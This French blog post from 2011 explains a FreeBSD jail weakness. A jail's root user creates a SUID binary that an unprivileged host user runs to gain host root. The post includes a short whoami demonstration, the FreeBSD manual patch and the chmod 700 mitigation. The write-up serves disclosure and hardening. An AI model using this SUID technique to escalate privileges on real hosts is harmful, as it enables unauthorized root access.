2011-05 Archives
10-05-2011 00:10:55
[FreeBSD] Privilege Escalation using Jails
Une discussion intéressante est en cours sur la mailing security
de freebsd. Ce n'est pas forcément nouveau mais cela est remis au
gout
du jour depuis le post suivant.
Si un utilisateur obtient le root dans une jail FreeBSD et qu'il crée un executable SUID, alors un utilisateur sans privilège peut exécuter ce binaire avec des droits root depuis le host pour ainsi obtenir une élévation de privilège sur le host.
Ex :
Depuis une jail :
Appliqué et approuvé.
Si un utilisateur obtient le root dans une jail FreeBSD et qu'il crée un executable SUID, alors un utilisateur sans privilège peut exécuter ce binaire avec des droits root depuis le host pour ainsi obtenir une élévation de privilège sur le host.
Ex :
Depuis une jail :
[root@jail ~]# cat suid.c #include <stdio.h> main(){ system("whoami"); } [root@jail ~]# gcc -o suid suid.c [root@jail ~]# chmod +s suid [root@jail ~]# ls -l suid -rwsr-sr-x 1 root wheel 8 May 9 23:38 suidDepuis le host :
[cloud@host /usr/home/cloud]$ /usr/jails/jail/root/suid rootCe problème a déjà été évoqué en 2009 mais sans suite. L'équipe Security FreeBSD a choisi de laisser cela sans correctif technique. En effet une jail n'est pas un système comparable à une machine virtuelle et l'isolement n'a rien à voir. Du coup ce comportement n'est pas choquant et forcer le correctif imposerait une architecture pouvant devenir contraignante. Il a donc été décidé de patcher cela au niveau de la documentation en indiquant qu'un utilisateur non privilégié du host ne doit pas avoir accès aux jails. Voici le patch du manuel.
--- head/usr.sbin/jail/jail.8 Sun May 8 12:16:39 2011 (r221654) +++ head/usr.sbin/jail/jail.8 Sun May 8 12:16:39 2011 (r221655) @@ -34,7 +34,7 @@ .\" .\" $FreeBSD$ .\" -.Dd January 17, 2010 +.Dd May 8, 2011 .Dt JAIL 8 .Os .Sh NAME @@ -431,7 +431,7 @@ command script can be used: .Bd -literal D=/here/is/the/jail cd /usr/src -mkdir -p $D +mkdir -p -m 0700 $D make world DESTDIR=$D make distribution DESTDIR=$D mount -t devfs devfs $D/dev @@ -448,6 +448,10 @@ in the per-jail devfs. A simple devfs ruleset for jails is available as ruleset #4 in .Pa /etc/defaults/devfs.rules . .Pp +Non-superusers in the host system should not be able to access the +jail's files; otherwise an attacker with root access to the jail +could obtain elevated privileges on the host. +.Pp In many cases this example would put far more in the jail than needed. In the other extreme case a jail might contain only one file: the executable to be run in the jail.La recommandation est donc d'avoir ses jails 3 niveaux en dessous de / et de faire un chmod 700 sur les jails (le 2 niveau). En gros il faut avoir ses jails sous la forme /usr/jails/nomdunejail et faire un chmod 700 /usr/jails.
Appliqué et approuvé.